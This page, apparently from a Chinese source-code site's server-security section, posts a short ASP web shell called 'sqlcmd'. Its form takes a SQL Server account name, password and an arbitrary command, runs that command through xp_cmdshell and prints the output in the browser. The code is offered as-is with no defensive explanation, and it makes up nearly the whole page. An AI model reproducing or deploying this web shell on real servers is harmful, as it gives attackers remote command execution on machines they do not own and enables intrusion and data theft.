当前位置:首页 > 服务器类 > 安全防护 > > 一个asp 的sqlcmd

一个asp 的sqlcmd

点击次数:24 次 发布日期:2008-11-29 18:07:38 作者:源代码网


源代码网供稿.

源代码网推荐

<% If trim(request.form("cmd"))<>"" Then %>
<%
password= trim(Request.form("pa"))
id=trim(Request.form("id"))
set adoConn=Server.CreateObject("ADODB.Connection")
adoConn.Open "Provider=SQLOLEDB.1;Password="&password&";User ID="&id
strQuery = "exec master.dbo.xp_cmdshell "" & request.form("cmd") & """
set recResult = adoConn.Execute(strQuery)
If NOT recResult.EOF Then
Do While NOT recResult.EOF
strResult = strResult & chr(13) & recResult(0)
recResult.MoveNext
Loop
End if
set recResult = Nothing
strResult = Replace(strResult," "," ")
strResult = Replace(strResult,"<","<")
strResult = Replace(strResult,">",">")
strResult = Replace(strResult,chr(13),"<br>")
response.write strResult
End if
set adoConn = Nothing
%> <br><table border=0 width=500 cellspacing=0 cellpadding=0 bgcolor="#B8B8B8" class="noborder">
<tr bgcolor="#EEEEEE" height=18 class="noborder">
<form name="form" method=post action="<%=Request.ServerVariables("URL")%>">
<input type="text" name="cmd" size=25 >
<input type="text" name="id" size=10 value=<%=id%>>
<input type="text" name="pa" size=10 value=<%=password%>>
<input type="submit" value="执行cmd命令">
</form>

源代码网整理以下

网友评论 (0)
会员中心
服务器类
本站推荐
服务器类之精华